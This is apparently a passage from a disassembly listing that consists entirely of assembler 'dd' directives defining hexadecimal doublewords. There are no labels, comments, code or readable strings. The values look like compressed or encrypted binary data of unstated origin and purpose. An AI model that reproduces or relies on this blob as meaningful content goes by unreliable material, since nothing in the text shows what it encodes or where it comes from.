		dd 6B5F51EAh, 9A09041Eh, 53272ED1h, 45EF808Bh, 0BD6BCAF1h
		dd 5B180993h, 2DB9660Eh, 0A2911CF3h, 2AF62A90h,	0C19DAEF5h
		dd 0FFBE642Bh, 0AAB67B12h, 0E64A6C58h, 331BB2E9h, 7D0F3780h
		dd 79BF9709h, 0CEE4572Eh, 76A1604Eh, 8ABC214h, 610B29B5h
		dd 0B574016Ah, 31020381h, 7FD25D42h, 2FE82FF9h,	0E06CA64Eh
		dd 2CBBB699h, 27A65158h, 5F6D05F5h, 315239AFh, 60E7F906h
		dd 60B5B05Fh, 8007E1CBh, 9D712352h, 0E6433362h,	95446670h
		dd 271CA053h, 20CC630Eh
		dd 507EE667h, 71E42591h, 0DE560442h, 0EC5BCF91h, 585969E0h
		dd 0BF570FE4h, 7B44743Eh, 80D3B85Fh, 8C6195BBh,	84799D29h
		dd 0DCEF8004h, 85B142AFh, 57092CF5h, 0C82B7B18h, 0E8ED10C9h
		dd 4C66D103h, 0E93E56BFh, 0C24821CBh, 5785FD5Eh, 2B5E0B88h
		dd 62AFFE96h, 1AA00E2Bh, 68E9E39Fh, 0D341FBB6h,	322EFFE4h
		dd 647501A7h, 0A791950Bh, 36EB144Eh, 8D222AC0h,	0AE9A952Eh
		dd 0E8D8CF01h, 0F9E88960h, 0C0C55E0Ch, 8FBE261Ah, 7CA9AB00h
		dd 0FC6515CDh, 28A00158h, 2E7163D3h, 4996A54Fh,	0E12B5BAAh
		dd 0BB770095h, 0B125BDB5h, 20D3CC7Bh, 62B53F89h, 3FCF57A7h
		dd 0C8A13040h, 97370298h, 1D2CE819h, 2719715Dh,	0EFAE30F7h
		dd 0CCB64B86h, 0A438B901h, 77B95E10h, 2000AABCh, 0DE222BB8h
		dd 4E36B51Eh, 28E9C838h, 9C6454Ch, 7059268Fh, 3A3797EDh
		dd 0F058AC00h, 0EFCD0A29h, 4A05F020h, 0B1AC4B2Ch, 55D1B9C2h
		dd 0AADB8180h, 48010EC8h, 49388AFCh, 0C04F2B40h, 7C05E16Eh
		dd 0FB8531A1h, 21046D95h, 20EADF51h, 4F83252h, 300E7D01h
		dd 54862672h, 0EC08CF8h, 0BA8571C8h, 0EC4DBD17h, 384700B9h
		dd 7E6914B6h, 0F8AAE371h, 55250F54h, 4C2735BFh,	7BF32E4Dh
		dd 4EF4BBC6h, 50E94787h, 25781C5Bh, 32E91A4Eh, 0A08C14B8h
		dd 0F90595C1h, 9310E902h, 9FFE3F71h, 0D2D08001h, 0E4AEF161h
		dd 8A05C03Eh, 3487B6FDh, 60AD99FBh, 594B16ACh, 103331CCh
		dd 482C299Dh, 0A3620527h, 8BEB773Fh, 8DB582A0h,	0C72F8101h
		dd 282F9633h, 818A5634h, 0B87F3F0Ah, 0F68E7EC2h, 7B92C225h
		dd 0D053A5A7h, 92A6EB50h, 19120BFDh, 9702E1FFh,	0BCD726B1h
		dd 37739DC2h, 3065BD04h, 17750C18h, 107AE795h, 8C17FC26h
		dd 0DCA87102h, 5ED88B79h, 9FC25108h, 0B949334Fh, 7F30771Ch
		dd 3AFB850Eh, 0EFDE9E70h, 0A5B4CE60h, 22A14E10h, 0B14AF73Ah
		dd 122EE3A5h, 0E171A6ECh, 0E678A17Eh, 1A6EFA80h, 4A096356h
		dd 723DF5E7h, 680345F1h, 79BB80A5h, 0D0EE32h, 0A621C810h
		dd 0B095CFB9h, 0A5340504h, 2BD5E8Eh, 8C1CACh, 0C833C131h
		dd 0D7605E4Ah, 950B106h, 4B571595h, 3A04DD5Bh, 0AD02496Ah
		dd 0FAC19E3h, 0AAF1CD41h, 0DD7345Bh, 0EA9E39A8h, 0CE6806D5h
		dd 1511B4ABh, 31380395h, 0FBABDFA8h, 4E0F7007h,	0CA483D98h
		dd 21512F3h, 0FB9792E2h, 8AAB3024h, 2FCCA026h, 5FD1098Ch
		dd 0A8DE38A9h, 0BB001F10h, 5C523573h, 909FDCE9h, 971921EEh
		dd 6663733Ah, 735C1ABAh, 7D9D2BE0h, 19448F29h, 0E80BBA60h
		dd 93365E01h, 1C31BD03h, 5A718C6Dh, 0BDBFB930h,	0AF80FA7Dh
		dd 8AA5B87Ah, 0AAF4205Ah, 5F1369FDh, 0E82A0204h, 0F66BB46Eh
		dd 0C1CA942Fh, 1A950375h, 0EB0A0948h, 0A370B582h, 0F5491CBCh
		dd 85FF2E18h, 9AF4AA04h, 20FF9CE3h, 20F1FB5Bh, 3D0AF900h
		dd 0E49373CBh, 0A35F4B47h, 90962759h, 0CBD6AEh,	55E1EC52h
		dd 97E517CAh, 0D18C0F2Eh, 0A381BF45h, 0EB385C86h, 0B696FA12h
		dd 96F6E01Ch, 4394125Eh, 53611CB4h, 836FAF17h, 74001623h
		dd 2268330Dh, 0A6362D03h, 0DD4CB178h, 9590254h,	0D72AE185h
		dd 0F0FEB1BAh, 3186FD40h, 0CE0E00B3h, 63391589h, 8701C417h
		dd 605071A2h, 0F0216FB4h, 7DB9A52Fh, 5B84Ah, 1C197339h
		dd 0B0024EA6h, 0CAA8E85Eh, 0C47B202Dh, 0FA181A79h, 6D3CBA00h
		dd 816A54F0h, 61105CFh,	0F261538Fh, 80D53E70h, 0BBE7B047h
		dd 12BFC67Bh, 0E2017A9Eh, 9D0BC2D6h, 252D5259h,	0CD65DE8Bh
		dd 372D3F1Ah, 0B82585DFh, 0CF53EB76h, 25EE6FAAh, 5CBAC79Bh
		dd 0EC09F5B0h, 0B725B034h, 88948082h, 0D466CB7Ah, 0FE934E9Dh
		dd 8AED4BD5h, 42513ACh,	0A2A180B7h, 30FB4BB5h, 3DBB47FBh
		dd 0AD654A37h, 0DCE8961Fh, 5AA88F83h, 0FE33CFE0h, 584A42F8h
		dd 16AC83BDh, 0EC9C128Ch, 7A80E18Bh, 0EB0D1A7h,	2A17C205h
		dd 34AEF85Ch, 0C017B884h, 0D1BF6696h, 51503ABBh, 1B959D83h
		dd 0AFEC5B41h, 0E01D26Eh, 0E9B4282Bh, 0B667F4E8h, 73AD664Eh
		dd 10F523CBh, 558D3192h, 0E62AE9C1h, 3018B245h,	3B05DDDCh
		dd 0F88A3808h, 0D56EDAABh, 8C5CC510h, 23816BAFh, 0E502001Dh
		dd 0BDED6094h, 42AC561Dh, 0BD04E425h, 0D47AB373h, 69798152h
		dd 3CE0D2A9h, 180C8105h, 0AAF58839h, 87ED55C2h,	2C621464h
		dd 0BF01D95Ch, 0F6863DDh, 6FD8122Eh, 0FC260F8Ch, 3B42DD93h
		dd 0FF4B9222h, 0C20088E6h, 0DD5F65F6h, 22286CCh, 0FF28EC2Bh
		dd 0DCDC70B8h, 0B68DDE40h, 88410417h, 0B8617201h, 0C489CEFCh
		dd 71AE0351h, 2FD88AAFh, 0C8BD3BF9h, 0BF2C92DFh, 0A5176ECAh
		dd 0B85A04ECh, 73AA90h,	9D328EF1h, 0E4FF84C8h, 0A440B596h
		dd 0F8D49063h, 0C5AB1C4Bh, 96794597h, 4A12F3AFh, 0DA0028B2h
		dd 53D8FCE5h, 8D2A8942h, 72B0FC79h, 59565225h, 5ED50061h
		dd 0CBA2D119h, 5F5BAE13h, 0F60452BBh, 0BD77E093h, 239005E8h
		dd 0ACFF20C7h, 0C06F80FBh, 5A0BCB95h, 0A889F27Bh, 0DE63000Ah
		dd 0E9B783ADh, 0FC268F39h, 5D035F53h, 481ADA6Bh, 0F0126CCAh
		dd 832F618h, 79013985h,	0FB85C348h, 37C1EEDBh, 5403B350h
		dd 906EBFA1h, 907F6F27h, 71BB667Dh, 0C1B29DF8h,	816E5155h
		dd 0A4CDA5BBh, 19713E66h, 7A7A09DDh, 8CB75F2Ch,	4A7FB84Ah
		dd 5638F7CAh, 0EEECBF59h, 4509935Ah, 0E4F65C1Fh, 532FFF9h
		dd 0F479F6C6h, 0C082F000h, 0B7341FAEh, 7969760h, 3A02EFF0h
		dd 0E93FDC09h, 1E05C92h, 8B94D380h, 1FF03AC1h, 611E4075h
		dd 16C11B97h, 0E2145DC2h, 0E4C85EB1h, 0AD6B0EDAh, 0B940FF4Eh
		dd 8D7FFAE7h, 3C80CD5Bh, 0BBF310Fh, 76AAF438h, 5B2DBC71h
		dd 78F37045h, 69BB2D00h, 179BEFCBh, 85BD160Bh, 0C130AE31h
		dd 0DF8921EBh, 0D9B50D0Eh, 9ED085C5h, 37DE22D0h, 1722EC96h
		dd 0F3ECDA05h, 771D9511h, 391AD782h, 29C20FEDh,	4AF0D5D7h
		dd 7D1692B7h, 0D8691153h, 7F035C50h, 5F480828h,	50DAD2B5h
		dd 0BC000ED1h, 83CBAD56h, 647915B5h, 0A64FC70Bh, 16EE0ACh
		dd 1B141318h, 0B998EBD4h, 0CA0A5211h, 1B358E62h, 75200909h
		dd 0BDE4016Dh, 455E2AFh, 32118529h, 0ED5ED8AEh,	0A9214Eh
		dd 0B5432381h, 0F84BCC39h, 7AE80700h, 21AD642Bh, 45682551h
		dd 5001E6C6h, 5B72CB80h, 0DB2BD1FFh, 35B8C25Eh,	885F84E8h
		dd 0C36FF3EBh, 0C9B8AA71h, 0F03ED2C7h, 5F812D76h, 7303282Fh
		dd 2BFE8B88h, 5B4F026Ah, 0F431480h, 0B3F98D5Ah,	90051388h
		dd 69B85B57h, 1CE2DA3Bh, 16572935h, 0D4589E1Ch,	0FA4E6E12h
		dd 0FBC24501h, 4E22880Fh, 0A6815B76h, 7BE9128Ah, 0A884ECE3h
		dd 0C2AC16D0h, 7876E5Bh, 0B860DCB2h, 4892D060h,	0ADBD4E31h
		dd 1610BEAh, 0BE05D9Dh,	0B912E1BFh, 0FCE73449h,	85E8DA4Bh
		dd 7DCC2E71h, 28F2A9h, 97ED427Ch, 5335B7EFh, 925B2927h
		dd 4F51D770h, 0C4500B01h, 0F46BC8DEh, 0B33D9072h, 40BDFCB4h
		dd 0F45BA10Ah, 25DFB8F9h, 1E5E1FE9h, 91646F4h, 0D582846Dh
		dd 0EE508665h, 42B90003h, 5F89C888h, 0E29D1E51h, 1BCD55CCh
		dd 20671C64h, 4A5A8D3Ah, 1DA84809h, 4D3E8765h, 2DFF490Bh
		dd 0FF27D13Dh, 681756B7h, 1E53441Ch, 16887AB9h,	102DD72Ch
		dd 81206DB6h, 0F0F36AB0h, 0C51ABD4Eh, 0DF0170E6h, 71E40937h
		dd 42120C89h, 105EC372h, 0F284DC70h, 776E00C1h,	9F92FF02h
		dd 8301ABD9h, 8FE935D5h, 0E47A5A2Ch, 799DD8FBh,	0A5858423h
		dd 0FC6C5F09h, 0A699D12Fh, 0A6FE029Eh, 0DE5C0998h, 15E1C631h
		dd 1E1AC04h, 6BC5DF81h
		dd 802813C8h, 80EEC787h, 2B463163h, 5402BBFCh, 8B4F66F0h
		dd 2879D1h, 63DAEF24h, 2D0FC92Eh, 0EB237442h, 4152989Fh
		dd 4AF073C5h, 8347EF8Bh, 66B2D9BFh, 12F75C21h, 4CBAB9F8h
		dd 35AA4EC3h, 208D8951h, 5F8A0C98h, 0C2EA8C2h, 41FA4F11h
		dd 15BB66D0h, 9342FD5h,	0BBD2FAACh, 53277109h, 60970012h
		dd 0FCDE1096h, 0E2F46B4Fh, 0C8A24BA7h, 5C8A3121h, 0F781E315h
		dd 60531F88h, 0B601C2ECh, 8A05DE92h, 752061C3h,	8380A495h
		dd 914EAC3h, 0F9B7100Fh, 0EC5B2512h, 502D2004h,	0BB2091h
		dd 0AD10DBF2h, 1D7BFD5h, 231420F6h, 8471D46Bh, 0C99FCB88h
		dd 83E1DEBFh, 0B05945C7h, 95B16A18h, 644C4679h,	0BD3804E7h
		dd 0AA0EDFB9h, 0F32AC9D9h, 2EC701ACh, 0E6C08A45h, 132E13DDh
		dd 0FFEE0EF0h, 0F7399494h, 1E63970Eh, 0FD8509E1h, 0F3A63F02h
		dd 0EAA87F00h, 9D1CDE30h, 0AD8C8FFh, 80A2D63Dh,	0BED1DDE2h
		dd 0B561A380h, 7D2DCB79h, 0DD2733B7h, 0CA602192h, 0ACB0D22Bh
		dd 0A22E1045h, 0E6E95F65h, 5B5F52C2h, 0F5FAF5Ch, 0F3A0A23Bh
		dd 6C7CB447h, 15DC5D9Eh, 0E3FE7A6Dh, 9D129F48h,	27C9E617h
		dd 694460h, 0E4CEC327h,	395576D0h, 70DA97h, 42176140h
		dd 0FC86A146h, 0ADBD76C2h, 80B0CA05h, 5962EEF5h, 69DE9E29h
		dd 0E2A7B259h, 8217D7DEh, 12F935A7h, 0B67F429Dh, 846151AFh
		dd 84FF1402h, 0A2C9AC82h, 69F029A7h, 98A2C95Dh,	892C21E0h
		dd 6E9F7BB8h, 545B4D80h, 7812E757h, 6BF83EB1h, 6E619980h
		dd 34079FD7h, 2AC89337h, 88CB7410h, 7F037BFBh, 24360581h
		dd 0AF5F0D49h, 0E63AA129h, 0D1A3A185h, 96E1FFF8h, 7F00DCDCh
		dd 61455F3h, 0E70D4774h, 4B796F30h, 221ACE02h, 0F1B3252Eh
		dd 3A1A0AE5h, 0D737751Fh, 357C3100h, 29C010Ah, 8D899D79h
		dd 9C5722EDh, 5FCE6A1Ah, 0C52D3F43h, 605B90F2h,	528030DBh
		dd 8D01B9C7h, 0B70F1120h, 0B1088756h, 0FDE4251Fh, 4AE74900h
		dd 0CA926073h, 52DE004Eh, 16AB2681h, 61480FEBh,	7ACF2DD3h
		dd 0ECF958Fh, 0C973E263h, 5B2C8EC6h, 0B6BF881h,	0AA4CCCDBh
		dd 4031751Ch, 7AAD5FC0h, 1669A43Eh, 0C8473DEEh,	0FB01CDCAh
		dd 0BFB5F1D6h, 202A5BF7h, 0F88AED5Bh, 0AC8D2C00h, 19EAC323h
		dd 0D22D4BC5h, 0C62E1A4Eh, 82350888h, 54C9B2C0h, 0ADCFADD9h
		dd 0AB63ED40h, 0F62093Dh, 6675DBBFh, 0F19D10A7h, 0BB900104h
		dd 33CC4B43h, 659C1E2Bh, 0C206F837h, 0A03CF99Ah, 80014D20h
		dd 4121968h, 77B0CD26h,	0F8FF13E6h, 2043E032h, 741A5D82h
		dd 0E238C2DFh, 0A24DD58Dh, 0F2F4C6Bh, 2A2DE1D4h, 11B67F60h
		dd 819FDC0Eh, 0F5A4998Ah, 234B6B2Fh, 48273915h,	3DD9340h
		dd 18BE6680h, 6A619873h, 0E0B6FEBh, 0DB0199E9h,	0ED13D07Ah
		dd 0E6F93E25h, 89B32565h, 0ECB061E6h, 0F9B93712h, 17B260F6h
		dd 284B2630h, 5B90423Dh, 4E49BED9h, 0BCCE5529h,	0DBF6000h
		dd 8030D447h, 9E61E4D5h, 99FD6992h, 0D87689A5h,	0AF7150h
		dd 6D82D79Bh, 256A44E6h, 0EDB8F209h, 59C7D305h,	12841816h
		dd 0F1F84E53h, 0EF6E7A50h, 57C87603h, 508A0BBBh, 0CF0E55D1h
		dd 0D9D540F9h, 9F9B78E1h, 0B839A1C8h, 1BAF9A1Fh, 5F50B304h
		dd 8BF665Dh, 5B1221DDh,	290927F3h, 8620A59Dh, 5A33B668h
		dd 2779284Ch, 49D540DFh, 0B3457A30h, 0BBAE786Ah, 0DA3904Bh
		dd 1767204Ah, 0D6133AB2h, 1DECD092h, 0DBBEDA80h, 8D251B9Ch
		dd 0B1BDFF85h, 0EE0A1EB8h, 0BF503B80h, 5A366D83h, 1C70155h
		dd 221F9D85h, 69338FF7h, 0AEFD5C81h, 8513DC12h,	89EB600Eh
		dd 90701084h, 24278E0Bh, 726F5ECEh, 140DCE41h, 0EA0067B2h
		dd 154BDE59h, 0CB4BA693h, 2C30368Ah, 49B5012Bh,	3C772966h
		dd 0E041AD17h, 5B0E96E6h, 5E289F2Fh, 0FBC9D761h, 0E54C00CFh
		dd 7382D57Eh, 0BD4EB87Fh, 800F4AB3h, 0FE2037E3h, 6AE2E781h
		dd 0E5734625h, 779E1A21h, 0EB392D85h, 8B2267CFh, 7D64F564h
		dd 38D9CBBFh, 625C2FBFh, 5CE6E256h, 1254E907h, 0DF2100D4h
		dd 0F3D63D77h, 8B117182h, 0F8251BB5h, 504BE6C6h, 0B6F0F420h
		dd 0C29D005Ch, 3294BD2h, 0ED1D2D62h, 8A8BD168h,	0E7E904BEh
		dd 0FABD35C4h, 8C00AEBCh, 0F3E1E286h, 18FA597h,	23FA8AA8h
		dd 6A1739BDh, 71122D8Bh, 52DBEA0Ch, 0CD77D896h,	13275FB0h
		dd 5A127467h, 680671Fh,	6DF13E11h, 4C03E893h, 0BF0BA8C9h
		dd 0B5D7C480h, 6017925Eh, 569D88C9h, 0FB8DCC4Bh, 0D4BBF945h
		dd 52AEB4Eh, 0B861781h,	1EFA30F4h, 0D884DF4Bh, 0D7B866A9h
		dd 0D250F90h, 25CD7115h, 0B195E730h, 86E6265Ah,	4E3017F2h
		dd 4FFE25A1h, 0BB04AE73h, 22150E54h, 2E2FAED4h,	0FD8AB838h
		dd 1144B6B0h, 343A0348h, 9118F4A0h, 40DF94F8h, 5F0A5300h
		dd 0F6D22E8h, 3051BF82h, 0CD7E6AA5h, 0EB3DE5EAh, 79D15C1h
		dd 74092F0Ah, 0AE7327B7h, 3B1A5D2Dh, 2C55FB77h,	1BBE6079h
		dd 74005FC6h, 22EA62EEh, 1FDA6C67h, 2D249282h, 17596373h
		dd 0FB12BB18h, 89E2F5F4h, 0DAB11288h, 50021A39h, 962032E2h
		dd 29119D0Bh, 73CBC5B5h, 498BA0FCh, 10F653D0h, 61340EA5h
		dd 0F1C4AE1Ah, 801798ABh, 30F6E74Ah, 469F204Fh,	1F0E562Eh
		dd 0D9F26Ch, 9341D025h,	8DE44B52h, 3F302F92h, 544916h
		dd 382E90FDh, 0F1C1FFC7h, 0BB25FCFEh, 1181C561h, 85890451h
		dd 64B907D5h, 0A99D23C2h, 0C6160FFCh, 0D4E87EF9h, 50F93612h
		dd 0B857D5AEh, 925880DCh, 3E4BBD2h, 609D1AEFh, 0B8887F1Ch
		dd 0F09C9F0h, 57BF15DFh, 46A12EBDh, 77F72280h, 4BB0665h
		dd 0E98F4B88h, 5E9AB8E2h, 0A169EF82h, 0F28B66E2h, 55C1DF42h
		dd 8BC095EDh, 3B39A48Eh, 9D2745BCh, 5EB7445Ah, 1B49D487h
		dd 8BD6807Ch, 2455F9F5h, 1640BE12h, 0FEB98Dh, 0B3605290h
		dd 498BB29h, 6127E792h,	0EEB2EE5Fh, 5880BE3Fh, 4CDDDFC7h
		dd 9A02C574h, 5068C42Ah, 405CD652h, 3A0F7EBFh, 59048174h
		dd 0B616AC8Ah, 1104FEB8h, 62F72Bh, 0C381905Fh, 47F418E0h
		dd 1DC9EE1Eh, 0DBDF1897h, 0EB054EF2h, 4E13FC6Fh, 41AFF825h
		dd 22E0E4A0h, 9DDE189Eh, 7EA77C7Ch, 5C089EDh, 23709773h
		dd 19DEB59Ch, 32F1F831h, 96EFFC05h, 0C0EA97BFh,	8A12C9BDh
		dd 0FD2054B2h, 0FC5B4F0Eh, 0B35009ECh, 53176122h, 0B8F6D0DFh
		dd 5F76383Ah, 8F5A0E8h,	853F31E1h, 4C95F5A9h, 2ECB7AEFh
		dd 0FDBFFB1Dh, 96397BB5h, 0D25BB9FCh, 0AAA8DEADh, 0F55B4C00h
		dd 12CE8949h, 55D156FFh, 0B7D972B0h, 9F8AE54Bh,	29CF8C2Fh
		dd 0FDC58865h, 373AC2F2h, 2B66588Ch, 32000922h,	59F66EDEh
		dd 763C6992h, 0D7C1952Ah, 25E26A83h, 0B77CEB80h, 0D0000638h
		dd 0EC2D7BB8h, 56D95AAh, 9D0C0DEFh, 0DE4482F2h,	0BD2BF3A0h
		dd 0CFDD2C8Dh, 0DF020D8Bh, 0CCAF2DB7h, 0BEB9EE41h, 95E828B1h
		dd 60C46C71h, 0CBA9A384h, 0F701B4BCh, 8E6C7B49h, 0FDE2AE07h
		dd 0C1953230h, 9DAD408Ah, 12A29E35h, 0B962A961h, 5B04DC2Bh
		dd 5EFC872Dh, 0B09DD625h, 9FC5275Eh, 901205D1h,	9CA6B8h
		dd 6785FA15h, 970144C9h, 70EE92FCh, 8B127BBDh, 8B021589h
		dd 886B86B7h, 4FF8B2FDh, 0E77D8Ch, 6DA65DC0h, 468A1B82h
		dd 3790392Dh, 0AD8B0494h, 0C3E6AAEEh, 2C49A6B4h, 0D060C938h
		dd 26B0A0h, 67237054h, 80E7EF87h, 1AD67201h, 0A7717A6Eh
		dd 0BC19642Fh, 7D182DD9h, 0DF8155B0h, 0C13F0B07h, 0D9C2097Bh
		dd 81D35C2Ch, 84BA5BFh,	2D15204Ch, 0B53F2B62h, 29EF5D15h
		dd 0E9C4F464h, 2588DEADh
		dd 9D93609Fh, 4E0F5AB4h, 0D34D8C87h, 828663B6h,	3E16B0ABh
		dd 0BD4A75BFh, 0E3047E91h, 38BC6857h, 0F738E3B9h, 0E0880544h
		dd 6FDD12E8h, 3FD6E14Ch, 0D72DB909h, 0E540ED32h, 0C2820775h
		dd 1108DF32h, 0D261A59Ch, 2ADE409h, 7C90C486h, 92B0EA80h
		dd 1AAB27BEh, 0B5C5D85Eh, 0DDAAC9ABh, 59822BD1h, 0E057061Ah
		dd 7C9FC702h, 5699E95Fh, 0A7B1E068h, 0DA2EB35Dh, 9D8B346Fh
		dd 0FD382B99h, 4C440A83h, 26785F8Ah, 182B0E41h,	1465E8DFh
		dd 585D09A2h, 9582C43Ah, 0C8E7B821h, 0D560B11Ch, 0ECF87A07h
		dd 71DEA4D8h, 0DA362528h, 0B4D48D4Fh, 61CBD404h, 30D6E8B8h
		dd 47DCEE58h, 2BD66500h, 4EF65D10h, 0DA119752h,	25921621h
		dd 0F571172Dh, 7CD38041h, 74044921h, 1E257BECh,	0C0339D7h
		dd 9B7F22FDh, 0AA1CC1D8h, 60A73225h, 6AC404F5h,	0C0B09BABh
		dd 0B1A24753h, 408D4E0Fh, 809AB30Eh, 7BB5ADE3h,	0F59D042Ch
		dd 2761415h, 5769470Eh,	5AB0E2B9h, 21927EFh, 0FFCB095Eh
		dd 0D585719Fh, 43BF797Ch, 4DCB8176h, 0FC7239B8h, 1B5186C4h
		dd 890D99ABh, 0F5236D7Ah, 35975D64h, 14B0005Ch,	0A39163B3h
		dd 5EF0C44Fh, 7BC59508h, 48181A59h, 21B9F002h, 0D456E725h
		dd 0CD7F49FAh, 0BEA7C2F9h, 0E1209E50h, 0FCB70919h, 96F6880Dh
		dd 1DF500F6h, 0D84269D0h, 59B7C0B7h, 0E2BF80A5h, 0C64A4020h
		dd 56DBA813h, 0C57B98BBh, 3BBC145Ah, 0ACB184A4h, 1831ACE0h
		dd 372C7985h, 0BF2EEF81h, 0DE37F5h, 0D12B9D27h,	6D87557Ch
		dd 57A3D95Fh, 656DAA92h, 0C7E1D29Ah, 3B59045Ch,	0CAF2AE14h
		dd 0AA5A4F52h, 0BE4A696Eh, 50BBB309h, 4F1525C6h, 0F80FDDC6h
		dd 92B3E1FFh, 948798E2h, 0EE4D0904h, 719029EEh,	528544B3h
		dd 40E39EACh, 5B4B1F48h, 0B56033B4h, 5EC013EDh,	16E40D37h
		dd 0A0E10109h, 0AEA3DE3Dh, 597502BAh, 0D470AE16h, 31BA4C02h
		dd 5513599Dh, 4DA5F171h, 3AB9409Dh, 4902398Bh, 98E6A9E5h
		dd 0CC8C9F5h, 1B48C304h, 2E231A99h, 1346D45h, 30E8BABDh
		dd 0A5E9D9BFh, 15595A53h, 0BF5E9718h, 88527AE8h, 0C927A80h
		dd 0CC000538h, 0F2183FCEh, 150710Dh, 0E6BCBB4Ah, 2B5F2CC2h
		dd 0BAA5D68Ah, 0C17A6FC9h, 7A0489BFh, 0E34B286Fh, 9F20260h
		dd 8007BD9Dh, 0D777BB4Eh, 68370215h, 7CC39331h,	13400CDCh
		dd 0E6725559h, 5F600056h, 0F07656Eh, 7E12F6CDh,	34B0C6E0h
		dd 0DC900BCEh, 765CF57Ch, 0F892F1E5h, 916F5589h, 0DC4C25E0h
		dd 0F8A804FDh, 0EF0F8AFAh, 3BE95D20h, 2E4CBD02h, 0EE2B1401h
		dd 6530176Fh, 12D69FF0h, 0E186192Dh, 0A3E73F87h, 0A5C28EB0h
		dd 335C4C02h, 60B311F5h, 0D2AD9D89h, 7FB0B1EFh,	0EE27F87Bh
		dd 192D26D0h, 5634C27Eh, 0DBA06FCFh, 6E94300Ch,	25977B9Dh
		dd 15E0B74Dh, 7745552Ah, 0CF7AC2AFh, 4C57C8E6h,	25BB9289h
		dd 8DC2B601h, 75AF36F9h, 781A4518h, 0E360EA01h,	0BCB975A2h
		dd 0B150957Eh, 4C6E3A1Ah, 8855CF0Eh, 9B9C5B40h,	40A86002h
		dd 0BD009A76h, 1DAC476Dh, 0DBFF81h, 4B6F92AFh, 0E210CA74h
		dd 0A3D4BB28h, 2C169D4Dh, 9C63E161h, 4154883Dh,	606B092Fh
		dd 0B671481Ah, 0E4165393h, 5F25E8F9h, 966214D7h, 0A26A4054h
		dd 1D001EB6h, 34CE13CBh, 6F28714h, 0E167ED52h, 6017E18Bh
		dd 21BCC28Ah, 8878A8C0h, 0CE26827Eh, 0FE009755h, 0AA7D4815h
		dd 0FAB1005Ch, 4ECCBB19h, 61717670h, 607A8B70h,	22873B03h
		dd 0E4BFB404h, 26B72F88h, 0DEE65868h, 0BAC55400h, 5E53D47Dh
		dd 0BD1A090Fh, 7ED38DF9h, 4F181751h, 2EE8FB07h,	3694BB66h
		dd 72E814EEh, 7BECB65Eh, 8B7C18DFh, 0D8434BBFh,	0BE535E96h
		dd 0AE6FAF12h, 0FEEB1702h, 7340AF51h, 0BD263C15h, 2BCA5C47h
		dd 3C3A8060h, 0E3A100EDh, 0F3C2842Dh, 2700654Eh, 6C14CB40h
		dd 5A011691h, 0EA6E61h,	3089037Eh, 4BE812A7h, 252ACBDFh
		dd 1844C5FCh, 0B5291D12h, 0B7C84173h, 0C0B38B22h, 0D3259F58h
		dd 5CFEC74Eh, 8051600Eh, 665B20CEh, 4D45C6B9h, 2EBDCF61h
		dd 7C8457BDh, 0E447F073h, 16D49C4Ch, 0D1B80279h, 9829C8E2h
		dd 1388224h, 0F7EDA22Bh, 2D625408h, 0C4CC4257h,	7ABA03A9h
		dd 0AF791C15h, 0AD5ED927h, 1D40427Ch, 12F8ED7Dh, 0F75BF549h
		dd 58DD2539h, 15552505h, 974FA7CFh, 8F501EE3h, 403D3D3Eh
		dd 2EAD8DCBh, 0B3563730h, 965B01E3h, 0F50FB8Bh,	778C3289h
		dd 1CD74FFCh, 5D82539Bh, 0E2DF230Bh, 15457519h,	0D62B3D89h
		dd 0C546C05Dh, 5171E804h, 0FFDDF800h, 8324C907h, 0F323039Ch
		dd 8BA252B9h, 7B0D542Dh, 81608030h, 81F32F2h, 6CE83FE5h
		dd 0B861FC84h, 0F98AC0FFh, 8BC48689h, 8F4525Bh,	71951231h
		dd 0BE8E71Dh, 0AB598D01h, 427C56BCh, 5D3A2C81h,	72432F6Dh
		dd 0B05ECB03h, 2E28A48Fh, 0CB7A147h, 0DE8713C5h, 5087C5B5h
		dd 2997408Bh, 99BD57CEh, 10F24D00h, 936AAC3Ah, 0B56AD093h
		dd 0B089DA5Bh, 0C799FC2Fh, 2B90041Eh, 983D037h,	94B31768h
		dd 1589D6E2h, 0CF27A3D9h, 0A330C2E0h, 0F4A72DF9h, 49D1E5F5h
		dd 0CF7550EDh, 71F74015h, 9D4F293Ah, 0BB3E1AEBh, 0D0687375h
		dd 1A98DAE6h, 3DE0605h,	99A1D59Dh, 0B40BE66Ah, 9F81FFF9h
		dd 2A8BFBD0h, 5EBF94C4h, 36FC2F97h, 69AE6145h, 307168EBh
		dd 1AD49C96h, 0F104B850h, 0F06AF66Fh, 92B5A54h,	379AB084h
		dd 0FD2DEE71h, 0A225A81Ch, 4035D764h, 3556C25h,	1E80E3DEh
		dd 0CA163327h, 75AFEE8Ch, 0A2C5B618h, 881DC91h,	31D0E6Dh
		dd 475D6193h, 81005B29h, 0A73DCFE7h, 1EE952Eh, 25EF3595h
		dd 0D74B56FEh, 0BB1D4566h, 4A3DE87Ah, 16C808F2h, 5EDFA7BFh
		dd 8727C0A1h, 0C6554B95h, 75F9E5F9h, 4C2D2EF8h,	22E4163Bh
		dd 2E5E876Fh, 0A1372Dh,	3D147A63h, 0D72D05E5h, 25AD5C52h
		dd 100A9B7h, 122D1902h,	2B940EA6h, 0F712F1BDh, 0ADEC4F48h
		dd 0C307A94Eh, 0B8C97CC5h, 0BA73C4h, 73B021Bh, 3F83F5B5h
		dd 2FA76758h, 50AF4112h, 0B7043564h, 0C1E4544Dh, 4F6D20AEh
		dd 6D052CD8h, 8E479FE0h, 0B94B0BACh, 0FF005F45h, 622F0ADh
		dd 0B1BD1223h, 92D7B905h, 2086AAAh, 1128FE10h, 988BD588h
		dd 0B2049D71h, 0A6AB9932h, 0A5617A7h, 1C2D21Fh,	0F9B47874h
		dd 8E8D0049h, 0C3FFB9F6h, 4E4A64Eh, 0FC93A05Fh,	5B7EB590h
		dd 55FEBF62h, 9378DD7Bh, 0E4490106h, 25F7E0D5h,	509CEFDh
		dd 21AEA9C5h, 7A14E975h, 0A9D72FF2h, 2411A8C3h,	98BF8Dh
		dd 0A7E381FAh, 0E4BC924h, 0A6FF1CD4h, 0B31DF0CBh, 2D7FC1Ah
		dd 72E5649h, 0B7FDD1FFh, 0E129008Fh, 0B8B6C4E8h, 0B115710Ah
		dd 273E84D1h, 0D711A104h, 0BBC4B3Dh, 3394977Ch,	1AF2B043h
		dd 266830h, 0C615749Ch,	31850121h, 8DF2C897h, 0AB164F99h
		dd 0D84AE13Eh, 4E09C406h, 0F9295070h, 0D05F1970h, 2FE8CDF3h
		dd 97CFAA3h, 2BAB618Ch,	0A4032A8Eh, 47B086BBh, 0FD4C9A36h
